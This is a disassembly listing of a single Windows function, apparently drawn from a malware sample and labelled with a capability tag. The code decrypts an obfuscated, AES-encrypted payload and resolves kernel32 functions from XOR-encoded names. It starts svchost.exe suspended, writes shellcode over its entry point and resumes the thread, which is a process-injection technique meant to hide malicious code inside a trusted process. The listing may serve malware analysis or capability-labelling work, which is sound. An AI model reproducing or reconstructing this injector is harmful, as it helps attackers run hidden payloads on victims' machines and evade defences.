Function at 0x140001be8
Capabilities:
Link many functions at runtime

Disassembly:
push rbp
sub rsp, 0x870
lea rbp, [rsp + 0x80]
call sym.__main
mov qword [rbp + 0x770], 0
mov qword [rbp + 0x768], 0
mov qword [rbp + 0x760], 0
mov qword [rbp + 0x758], 0
mov qword [rbp + 0x750], 0
mov qword [rbp + 0x748], 0
lea rdx, [rbp + 0x768]
lea rax, [rbp + 0x770]
mov r9, rdx
mov r8, rax
mov edx, 0x56
lea rax, str.51_1A_6D_D9_11_89
mov rcx, rax
call sym.MacDeobfuscation
lea rdx, [rbp + 0x758]
lea rax, [rbp + 0x760]
mov r9, rdx
mov r8, rax
mov edx, 6
lea rax, str.C9_B5_07_F2_36_0F
mov rcx, rax
call sym.MacDeobfuscation
lea rdx, [rbp + 0x748]
lea rax, [rbp + 0x750]
mov r9, rdx
mov r8, rax
mov edx, 3
lea rax, str.FC_C3_36_7F_48_92
mov rcx, rax
call sym.MacDeobfuscation
mov qword [rbp + 0x740], 0
mov qword [rbp + 0x738], 0
mov rdx, qword [rbp + 0x758]
mov rax, qword [rbp + 0x760]
mov rcx, rax
call sym.BruteForceDecryptionKey
mov rdx, qword [rbp + 0x748]
mov rax, qword [rbp + 0x750]
mov rcx, rax
call sym.BruteForceDecryptionIv
mov r9, qword [rbp + 0x750]
mov r8, qword [rbp + 0x760]
mov rdx, qword [rbp + 0x768]
mov rax, qword [rbp + 0x770]
lea rcx, [rbp + 0x738]
mov qword [rsp + 0x28], rcx
lea rcx, [rbp + 0x740]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call sym.InstallAesDecryptionViaCtAes
test eax, eax
jne 0x140001d43
mov eax, 0xffffffff
jmp 0x140002643
movabs rax, 0x57581e0005000000
mov qword [rbp + 0x72b], rax
movabs rax, 0x1e090f5c57581e
mov qword [rbp + 0x730], rax
movabs rax, 0x33000602000020
mov qword [rbp + 0x71c], rax
movabs rax, 0x25101617000a00
mov qword [rbp + 0x723], rax
movabs rax, 0x402060d33000020
movabs rdx, 0x130c00131a0a2410
mov qword [rbp + 0x700], rax
mov qword [rbp + 0x708], rdx
mov byte [rbp + 0x710], 0
movabs rax, 0x61d163516050020
movabs rdx, 0xb081729160101
mov qword [rbp + 0x6e0], rax
mov qword [rbp + 0x6e8], rdx
mov word [rbp + 0x6f0], 0x1c
movabs rax, 0x1d05391703000020
movabs rdx, 0x1804173a1a01120a
mov qword [rbp + 0x6c0], rax
mov qword [rbp + 0x6c8], rdx
mov dword [rbp + 0x6cf], 0x100018
movabs rax, 0x202270910000020
mov qword [rbp + 0x6b4], rax
mov dword [rbp + 0x6bc], 0x90f0b
movabs rax, 0xd26160807000020
mov qword [rbp + 0x6a7], rax
movabs rax, 0x170417010d2616
mov qword [rbp + 0x6ac], rax
lea rax, [0x140007816]
mov qword [rbp + 0x7e8], rax
lea rax, [0x14000781a]
mov qword [rbp + 0x7e0], rax
lea rax, [0x14000781e]
mov qword [rbp + 0x7d8], rax
lea rax, [0x140007822]
mov qword [rbp + 0x7d0], rax
lea rax, [0x140007826]
mov qword [rbp + 0x7c8], rax
lea rax, [0x14000782a]
mov qword [rbp + 0x7c0], rax
lea rax, [0x14000782e]
mov qword [rbp + 0x7b8], rax
mov rdx, qword [rbp + 0x7e8]
lea rax, [rbp + 0x72b]
mov r8d, 0xc
mov rcx, rax
call sym.xor_decrypt
mov rdx, qword [rbp + 0x7e0]
lea rax, [rbp + 0x71c]
mov r8d, 0xe
mov rcx, rax
call sym.xor_decrypt
mov rdx, qword [rbp + 0x7d8]
lea rax, [rbp + 0x700]
mov r8d, 0x10
mov rcx, rax
call sym.xor_decrypt
mov rdx, qword [rbp + 0x7d0]
lea rax, [rbp + 0x6e0]
mov r8d, 0x11
mov rcx, rax
call sym.xor_decrypt
mov rdx, qword [rbp + 0x7c8]
lea rax, [rbp + 0x6c0]
mov r8d, 0x12
mov rcx, rax
call sym.xor_decrypt
mov rdx, qword [rbp + 0x7c0]
lea rax, [rbp + 0x6b4]
mov r8d, 0xb
mov rcx, rax
call sym.xor_decrypt
mov rdx, qword [rbp + 0x7b8]
lea rax, [rbp + 0x6a7]
mov r8d, 0xc
mov rcx, rax
call sym.xor_decrypt
lea rax, str.Decrypted_function_names:
mov rcx, rax
call sym.puts
lea rax, [rbp + 0x72b]
mov rdx, rax
lea rax, str.ker:__s_n
mov rcx, rax
call sym.printf
lea rax, [rbp + 0x71c]
mov rdx, rax
lea rax, str.cre:__s_n
mov rcx, rax
call sym.printf
lea rax, [rbp + 0x700]
mov rdx, rax
lea rax, str.get:__s_n
mov rcx, rax
call sym.printf
lea rax, [rbp + 0x6e0]
mov rdx, rax
lea rax, str.red:__s_n
mov rcx, rax
call sym.printf
lea rax, [rbp + 0x6c0]
mov rdx, rax
lea rax, str.wri:__s_n
mov rcx, rax
call sym.printf
lea rax, [rbp + 0x6b4]
mov rdx, rax
lea rax, str.clo:__s_n
mov rcx, rax
call sym.printf
lea rax, [rbp + 0x6a7]
mov rdx, rax
lea rax, str.res:__s_n
mov rcx, rax
call sym.printf
lea rax, [rbp + 0x72b]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x7b0], rax
cmp qword [rbp + 0x7b0], 0
jne 0x140002065
lea rax, str.Failed_to_get_handle_to_kernel32.dll
mov rcx, rax
call sym.puts
mov eax, 1
jmp 0x140002643
lea rdx, [rbp + 0x71c]
mov rax, qword [rbp + 0x7b0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x7a8], rax
lea rdx, [rbp + 0x700]
mov rax, qword [rbp + 0x7b0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x7a0], rax
lea rdx, [rbp + 0x6e0]
mov rax, qword [rbp + 0x7b0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x798], rax
lea rdx, [rbp + 0x6c0]
mov rax, qword [rbp + 0x7b0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x790], rax
lea rdx, [rbp + 0x6b4]
mov rax, qword [rbp + 0x7b0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x788], rax
lea rdx, [rbp + 0x6a7]
mov rax, qword [rbp + 0x7b0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x780], rax
cmp qword [rbp + 0x7a8], 0
je 0x140002167
cmp qword [rbp + 0x7a0], 0
je 0x140002167
cmp qword [rbp + 0x798], 0
je 0x140002167
cmp qword [rbp + 0x790], 0
je 0x140002167
cmp qword [rbp + 0x788], 0
je 0x140002167
cmp qword [rbp + 0x780], 0
jne 0x140002180
lea rax, str.Failed_to_resolve_one_or_more_functions
mov rcx, rax
call sym.puts
mov eax, 1
jmp 0x140002643
mov qword [rbp - 0x18], 0
mov qword [rbp - 0x20], 0
mov qword [rbp - 0x28], 0
lea rax, [rbp + 0x630]
mov r8d, 0x68
mov edx, 0
mov rcx, rax
call sym.memset
mov dword [rbp + 0x630], 0x68
lea rax, [rbp + 0x610]
mov r8d, 0x18
mov edx, 0
mov rcx, rax
call sym.memset
lea rax, [rbp + 0x610]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x630]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
mov rax, qword [rbp + 0x7a8]
mov r9d, 0
mov r8d, 0
mov edx, 0
lea rcx, str.C:WindowsSystem32_svchost.exe
call rax
test eax, eax
jne 0x140002259
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.CreateProcessW_failed_with_error:__d_n
mov rcx, rax
call sym.printf
mov eax, 1
jmp 0x140002643
lea rax, str.Process_created_in_suspended_state.
mov rcx, rax
call sym.puts
mov eax, dword [rbp + 0x620]
mov edx, eax
lea rax, str.Process_ID:__d_n
mov rcx, rax
call sym.printf
mov eax, dword [rbp + 0x624]
mov edx, eax
lea rax, str.Thread_ID:__d_n
mov rcx, rax
call sym.printf
mov dword [rbp + 0x170], 0x10000b
mov rax, qword [rbp + 0x618]
lea rdx, [rbp + 0x140]
mov r8, qword [rbp + 0x7a0]
mov rcx, rax
call r8
test eax, eax
jne 0x140002309
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.GetThreadContext_failed_with_error:__d_n
mov rcx, rax
call sym.printf
mov rax, qword [rbp + 0x618]
mov rdx, qword [rbp + 0x788]
mov rcx, rax
call rdx
mov rax, qword [rbp + 0x610]
mov rdx, qword [rbp + 0x788]
mov rcx, rax
call rdx
mov eax, 1
jmp 0x140002643
lea rax, str.Thread_context_retrieved.
mov rcx, rax
call sym.puts
mov rax, qword [rbp + 0x1c8]
add rax, 0x10
mov r11, rax
mov rax, qword [rbp + 0x610]
lea rcx, [rbp - 0x18]
lea rdx, [rbp - 0x20]
mov qword [rsp + 0x20], rdx
mov r10, qword [rbp + 0x798]
mov r9d, 8
mov r8, rcx
mov rdx, r11
mov rcx, rax
call r10
test eax, eax
jne 0x1400023a1
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.ReadProcessMemory__BaseAddress__failed_with_error:__d_n
mov rcx, rax
call sym.printf
mov rax, qword [rbp + 0x618]
mov rdx, qword [rbp + 0x788]
mov rcx, rax
call rdx
mov rax, qword [rbp + 0x610]
mov rdx, qword [rbp + 0x788]
mov rcx, rax
call rdx
mov eax, 1
jmp 0x140002643
mov rax, qword [rbp - 0x18]
mov rdx, rax
lea rax, str.Base_address_of_the_process:_0x_llx_n
mov rcx, rax
call sym.printf
mov rax, qword [rbp - 0x18]
mov r11, rax
mov rax, qword [rbp + 0x610]
lea rcx, [rbp + 0x100]
lea rdx, [rbp - 0x20]
mov qword [rsp + 0x20], rdx
mov r10, qword [rbp + 0x798]
mov r9d, 0x40
mov r8, rcx
mov rdx, r11
mov rcx, rax
call r10
test eax, eax
jne 0x14000243c
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.ReadProcessMemory__DOS_Header__failed_with_error:__d_n
mov rcx, rax
call sym.printf
mov rax, qword [rbp + 0x618]
mov rdx, qword [rbp + 0x788]
mov rcx, rax
call rdx
mov rax, qword [rbp + 0x610]
mov rdx, qword [rbp + 0x788]
mov rcx, rax
call rdx
mov eax, 1
jmp 0x140002643
lea rax, str.DOS_header_read_successfully.
mov rcx, rax
call sym.puts
mov eax, dword [rbp + 0x13c]
movsxd rdx, eax
mov rax, qword [rbp - 0x18]
add rax, rdx
mov r11, rax
mov rax, qword [rbp + 0x610]
lea rcx, [rbp - 0x10]
lea rdx, [rbp - 0x20]
mov qword [rsp + 0x20], rdx
mov r10, qword [rbp + 0x798]
mov r9d, 0x108
mov r8, rcx
mov rdx, r11
mov rcx, rax
call r10
test eax, eax
jne 0x1400024d9
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.ReadProcessMemory__PE_Header__failed_with_error:__d_n
mov rcx, rax
call sym.printf
mov rax, qword [rbp + 0x618]
mov rdx, qword [rbp + 0x788]
mov rcx, rax
call rdx
mov rax, qword [rbp + 0x610]
mov rdx, qword [rbp + 0x788]
mov rcx, rax
call rdx
mov eax, 1
jmp 0x140002643
lea rax, str.PE_header_read_successfully.
mov rcx, rax
call sym.puts
mov eax, dword [rbp + 0x18]
mov edx, eax
mov rax, qword [rbp - 0x18]
add rax, rdx
mov qword [rbp + 0x778], rax
mov rax, qword [rbp + 0x778]
mov rdx, rax
lea rax, str.Entry_point_address:_0x_p_n
mov rcx, rax
call sym.printf
mov r9, qword [rbp + 0x738]
mov r8, qword [rbp + 0x740]
mov rax, qword [rbp + 0x610]
mov rdx, qword [rbp + 0x778]
lea rcx, [rbp - 0x28]
mov qword [rsp + 0x20], rcx
mov r10, qword [rbp + 0x790]
mov rcx, rax
call r10
test eax, eax
jne 0x140002594
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.WriteProcessMemory_failed_with_error:__d_n
mov rcx, rax
call sym.printf
mov rax, qword [rbp + 0x618]
mov rdx, qword [rbp + 0x788]
mov rcx, rax
call rdx
mov rax, qword [rbp + 0x610]
mov rdx, qword [rbp + 0x788]
mov rcx, rax
call rdx
mov eax, 1
jmp 0x140002643
mov rax, qword [rbp - 0x28]
mov rdx, rax
lea rax, str.Shellcode_written_to_memory._Number_of_bytes_written:__llu_n
mov rcx, rax
call sym.printf
mov rax, qword [rbp + 0x618]
mov rdx, qword [rbp + 0x780]
mov rcx, rax
call rdx
cmp eax, 0xffffffff
jne 0x140002609
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.ResumeThread_failed_with_error:__d_n
mov rcx, rax
call sym.printf
mov rax, qword [rbp + 0x618]
mov rdx, qword [rbp + 0x788]
mov rcx, rax
call rdx
mov rax, qword [rbp + 0x610]
mov rdx, qword [rbp + 0x788]
mov rcx, rax
call rdx
mov eax, 1
jmp 0x140002643
lea rax, str.Thread_resumed._Shellcode_execution_started.
mov rcx, rax
call sym.puts
mov rax, qword [rbp + 0x618]
mov rdx, qword [rbp + 0x788]
mov rcx, rax
call rdx
mov rax, qword [rbp + 0x610]
mov rdx, qword [rbp + 0x788]
mov rcx, rax
call rdx
mov eax, 0
add rsp, 0x870
pop rbp
ret